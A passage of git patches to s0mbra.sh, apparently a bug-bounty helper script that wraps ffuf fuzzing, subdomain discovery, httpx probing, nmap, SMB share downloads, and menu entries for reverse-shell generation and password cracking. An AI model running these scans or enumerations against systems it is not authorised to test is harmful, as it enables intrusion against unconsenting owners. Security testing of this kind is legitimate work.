$GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" - echo -e "$CLR" ;; esac From a2896c902447c99cf2970762711e7695300bf6fd Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 22 Jul 2022 13:54:06 +0100 Subject: [PATCH 237/369] [s0mbra] fix for fu optional and params --- s0mbra.sh | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index dbf5c67..7d65754 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -375,8 +375,13 @@ fu() { # dir path has to end with / to be identified ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else - # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + if [[ $3 == "-" ]]; then + # if $3 equals - (dash) that means we should ignore it at all + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + else + # if $3 arg is not /, treat it as file extension to enumerate files: + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi fi else ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" From 87efb76379ba97e47dd5afd019716f959606da67 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 22 Jul 2022 14:00:47 +0100 Subject: [PATCH 238/369] [s0mbra] methods options improvements --- s0mbra.sh | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7d65754..8c6e5ea 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -690,9 +690,9 @@ get() { PORTS=(80 280 443 591 593 981 1311 2480 3000 4567 5104 5985 7000 7001 7002 8000 8008 8080 8222 8443 8530 9080 9443 12443 16080 18091 18092) echo -e "$BLUE[s0mbra] GETing most common HTTP ports on $1...$CLR" for PORT in "${PORTS[@]}"; do - echo -e "$YELLOW[s0mbra] Executing HTTP request to port $PORT...$CLR" + echo -e "$YELLOW\n[s0mbra] Executing HTTP request to port $PORT...$CLR" curl -I -m 10 http://$1:$PORT - echo -e "$YELLOW[s0mbra] Executing HTTPS request to port $PORT...$CLR" + echo -e "$YELLOW\n[s0mbra] Executing HTTPS request to port $PORT...$CLR" curl -I -m 10 https://$1:$PORT echo done @@ -747,7 +747,11 @@ methods() { echo -e "$BLUE[s0mbra] Enumerate available HTTP methods on $1...$CLR" for HTTP_METHOD in "${METHODS[@]}"; do echo -e "$YELLOW[s0mbra] Executing $HTTP_METHOD / HTTP/1.1...$CLR" - curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 + if [[ -z $2 ]]; then + curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 | grep HTTP + else + curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 + fi echo done echo -e "$BLUE\n[s0mbra] Done! $CLR" @@ -858,7 +862,7 @@ case "$cmd" in get "$2" ;; methods) - methods "$2" + methods "$2" "$3" ;; endpoints) endpoints "$2" "$3" @@ -887,7 +891,7 @@ case "$cmd" in echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" - echo -e "$CYAN methods $GRAY[HOST]$CLR\t\t\t\t\t -> enumerates HTTP methods on HOST" + echo -e "$CYAN methods $GRAY[HOST] [*SHOW RESP. HEADERS]$CLR\t\t -> enumerates HTTP methods on HOST" echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(RESTapi)$CLR\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(RESTapi)$CLR\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" From c2b68fcd0bb6f2f7f74a2aa555cbac86ad98fc52 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 23 Jul 2022 19:15:52 +0100 Subject: [PATCH 239/369] [s0mbra] Default dict in fu --- s0mbra.sh | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 8c6e5ea..7e4a1f2 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -360,6 +360,14 @@ recon() { fu() { clear + + # use starter.txt as default dictionary + if [[ -z $2 ]]; then + SELECTED_DICT=starter + else + SELECTED_DICT=$2 + fi + # set response status code(s) to match on: if [[ -z $4 ]]; then HTTP_RESP_CODES=200,206,301,302,403,500 @@ -367,24 +375,24 @@ fu() { HTTP_RESP_CODES=$4 fi - echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES...$CLR" + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $SELECTED_DICT.txt dictionary matching $HTTP_RESP_CODES...$CLR" if [[ -n $3 ]]; then if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else if [[ $3 == "-" ]]; then # if $3 equals - (dash) that means we should ignore it at all - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" } From ebfeb4927d97a5dcb0246e98ad6050276448e28f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Jul 2022 11:39:19 +0100 Subject: [PATCH 240/369] [s0mbra] Make API tools as a separate menu category --- s0mbra.sh | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7e4a1f2..113d9c6 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -900,9 +900,10 @@ case "$cmd" in echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" echo -e "$CYAN methods $GRAY[HOST] [*SHOW RESP. HEADERS]$CLR\t\t -> enumerates HTTP methods on HOST" - echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(RESTapi)$CLR\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" - echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(RESTapi)$CLR\t -> fuzzing API endpoints with httpie" - echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" + echo -e "$BLUE_BG:: API ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(REST)$CLR\t\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" + echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> runs bucket-disclose.sh against [URL]" From b8a6737b590936852a7470572903917416bb4f94 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 27 Jul 2022 15:03:20 +0100 Subject: [PATCH 241/369] [s0mbra] change output files extension --- s0mbra.sh | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 113d9c6..e17914c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -201,30 +201,30 @@ lookaround() { # sublister echo -e "\n$GREEN--> sublister$CLR\n" for domain in $(cat scope); do - sublister -v -d $domain -o "$TMPDIR/s0mbra_recon_sublister_$domain.tmp" + sublister -v -d $domain -o "$TMPDIR/s0mbra_recon_sublister_$domain.log" done # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.log # prepare list of uniqe subdomains cat s0mbra_recon_sub* > step1 sed 's/
/#/g' step1 | tr '#' '\n' > step2 - sort -u -k 1 step2 > s0mbra_recon_subdomains_final.tmp + sort -u -k 1 step2 > s0mbra_recon_subdomains_final.log rm -f step* # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" - echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/s0mbra_recon_httpx.tmp + grep 200 $TMPDIR/s0mbra_recon_httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -237,29 +237,29 @@ peek() { # sublister echo -e "\n$GREEN--> sublister$CLR\n" - sublister -v -d $DOMAIN -o "$TMPDIR/s0mbra_recon_sublister_$DOMAIN.tmp" + sublister -v -d $DOMAIN -o "$TMPDIR/s0mbra_recon_sublister_$DOMAIN.log" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/s0mbra_recon_subfinder.tmp + subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/s0mbra_recon_subfinder.log # prepare list of uniqe subdomains cat s0mbra_recon_sub* > step1 sed 's/
/#/g' step1 | tr '#' '\n' > step2 - sort -u -k 1 step2 > s0mbra_recon_subdomains_final.tmp + sort -u -k 1 step2 > s0mbra_recon_subdomains_final.log rm -f step* # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "$GREEN\nHTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/s0mbra_recon_httpx.tmp + grep 200 $TMPDIR/s0mbra_recon_httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -312,7 +312,7 @@ recon() { # nmap if [[ $NMAP -eq "1" ]]; then echo -e "\n$GREEN--> nmap (top 100 ports + version discovery + nse scripts)$CLR\n" - nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.log $HOSTNAME fi # nikto From 430e4efa5854fa42b0173c2f702d171db691655d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 28 Jul 2022 12:47:20 +0100 Subject: [PATCH 242/369] [s0mbra] remove default screen clear --- s0mbra.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index e17914c..e13b287 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -767,7 +767,6 @@ methods() { ### menu cmd=$1 -clear case "$cmd" in set_ip) From 288cabcc5c354f0c2a9150c90f0426f0aeff5c52 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 29 Jul 2022 22:54:01 +0100 Subject: [PATCH 243/369] [s0mbra] Remove unused get --- s0mbra.sh | 18 ------------------ 1 file changed, 18 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index e13b287..fea4231 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -693,20 +693,6 @@ hshr() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# executes HTTP requests to most common HTTP ports -get() { - PORTS=(80 280 443 591 593 981 1311 2480 3000 4567 5104 5985 7000 7001 7002 8000 8008 8080 8222 8443 8530 9080 9443 12443 16080 18091 18092) - echo -e "$BLUE[s0mbra] GETing most common HTTP ports on $1...$CLR" - for PORT in "${PORTS[@]}"; do - echo -e "$YELLOW\n[s0mbra] Executing HTTP request to port $PORT...$CLR" - curl -I -m 10 http://$1:$PORT - echo -e "$YELLOW\n[s0mbra] Executing HTTPS request to port $PORT...$CLR" - curl -I -m 10 https://$1:$PORT - echo - done - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - # enumerates available HTTP methods on host methods() { METHODS=( @@ -865,9 +851,6 @@ case "$cmd" in fu) fu "$2" "$3" "$4" "$5" ;; - get) - get "$2" - ;; methods) methods "$2" "$3" ;; @@ -897,7 +880,6 @@ case "$cmd" in echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" echo -e "$CYAN methods $GRAY[HOST] [*SHOW RESP. HEADERS]$CLR\t\t -> enumerates HTTP methods on HOST" echo -e "$BLUE_BG:: API ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(REST)$CLR\t\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" From 8be4dde8d2a551cc96cb9507d6e0dea853369b30 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 31 Jul 2022 13:06:37 +0100 Subject: [PATCH 244/369] [s0mbra] misc SMB changes --- s0mbra.sh | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index fea4231..1ee8c7c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -145,21 +145,21 @@ smb_enum() { # download file from SMB share smb_get_file() { - if [[ -z $2 ]]; then + if [[ -z $3 ]]; then username='NULL' - elif [[ -n $2 ]]; then - username="$2" + elif [[ -n $3 ]]; then + username="$3" fi - if [[ -z $3 ]]; then + if [[ -z $4 ]]; then password='' - elif [[ -n $3 ]]; then - password="$3" + elif [[ -n $4 ]]; then + password="$4" fi - echo -e "$BLUE[s0mbra] Downloading file $4 from $1...$CLR" + echo -e "$BLUE[s0mbra] Downloading file $2 from $1...$CLR" echo -e "$GREEN" - smbmap -H "$1" -u "$2" -p "$3" --download "$4" + smbmap -H "$1" -u "$3" -p "$4" --download "$2" echo -e "$CLR" echo -e "\n$BLUE[s0mbra] Done." } @@ -882,7 +882,7 @@ case "$cmd" in echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN methods $GRAY[HOST] [*SHOW RESP. HEADERS]$CLR\t\t -> enumerates HTTP methods on HOST" echo -e "$BLUE_BG:: API ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(REST)$CLR\t\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" + echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(REST)$CLR\t\t -> extracts API endpoints from FILE, which contains PATH (eg. /api/ -> /api/user/delete)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" @@ -896,11 +896,11 @@ case "$cmd" in echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - # echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - # echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - # echo -e "$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" - # echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" - # echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t -> downloads file from SMB share [PATH] on [IP]" + echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" + echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" From 74384e1d30f9d0fd26cb3711b9ddbf5003e97ff2 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 2 Aug 2022 14:07:05 +0100 Subject: [PATCH 245/369] [s0mbra] Remove unused options --- s0mbra.sh | 79 +------------------------------------------------------ 1 file changed, 1 insertion(+), 78 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1ee8c7c..5b8f69b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -397,16 +397,6 @@ fu() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -#extracts API endpoint urls (eg. "/api/user/create") -endpoints() { - clear - FILE=$1 - PATH=$2 - echo -e "$BLUE[s0mbra] Extracting API endpoints from $FILE...$CLR" - /usr/bin/grep --color -n -e "$PATH" $FILE - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - api_fuzz() { clear echo -e "$BLUE[s0mbra] Fuzzing $1 API with httpie using endpoints file $2...$CLR" @@ -693,64 +683,6 @@ hshr() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# enumerates available HTTP methods on host -methods() { - METHODS=( - OPTIONS - GET - HEAD - POST - PUT - DELETE - TRACE - PURGE - CONNECT - PROPFIND - PROPPATCH - MKCOL - COPY - MOVE - LOCK - UNLOCK - VERSION-CONTROL - REPORT - CHECKOUT - CHECKIN - UNCHECKOUT - MKWORKSPACE - UPDATE - LABEL - MERGE - BASELINE-CONTROL - MKACTIVITY - ORDERPATCH - ACL - PATCH - SEARCH - ARBITRARY - BIND - LINK - MKCALENDAR - MKREDIRECTREF - PRI - QUERY - REBIND - UNBIND - UNLINK - UPDATEREDIRECTREF) - echo -e "$BLUE[s0mbra] Enumerate available HTTP methods on $1...$CLR" - for HTTP_METHOD in "${METHODS[@]}"; do - echo -e "$YELLOW[s0mbra] Executing $HTTP_METHOD / HTTP/1.1...$CLR" - if [[ -z $2 ]]; then - curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 | grep HTTP - else - curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 - fi - echo - done - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - ### menu cmd=$1 @@ -851,12 +783,6 @@ case "$cmd" in fu) fu "$2" "$3" "$4" "$5" ;; - methods) - methods "$2" "$3" - ;; - endpoints) - endpoints "$2" "$3" - ;; apifuzz) api_fuzz "$2" "$3" ;; @@ -878,11 +804,8 @@ case "$cmd" in echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" - echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: WEB,APIs ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "$CYAN methods $GRAY[HOST] [*SHOW RESP. HEADERS]$CLR\t\t -> enumerates HTTP methods on HOST" - echo -e "$BLUE_BG:: API ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(REST)$CLR\t\t -> extracts API endpoints from FILE, which contains PATH (eg. /api/ -> /api/user/delete)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" From 84bb369ae93081e8dbd3baa9cc085955ead7ae9c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 5 Aug 2022 18:17:42 +0100 Subject: [PATCH 246/369] [s0mbra] some updates in peek --- s0mbra.sh | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5b8f69b..3105301 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -216,7 +216,7 @@ lookaround() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" @@ -251,7 +251,7 @@ peek() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" @@ -277,14 +277,13 @@ recon() { 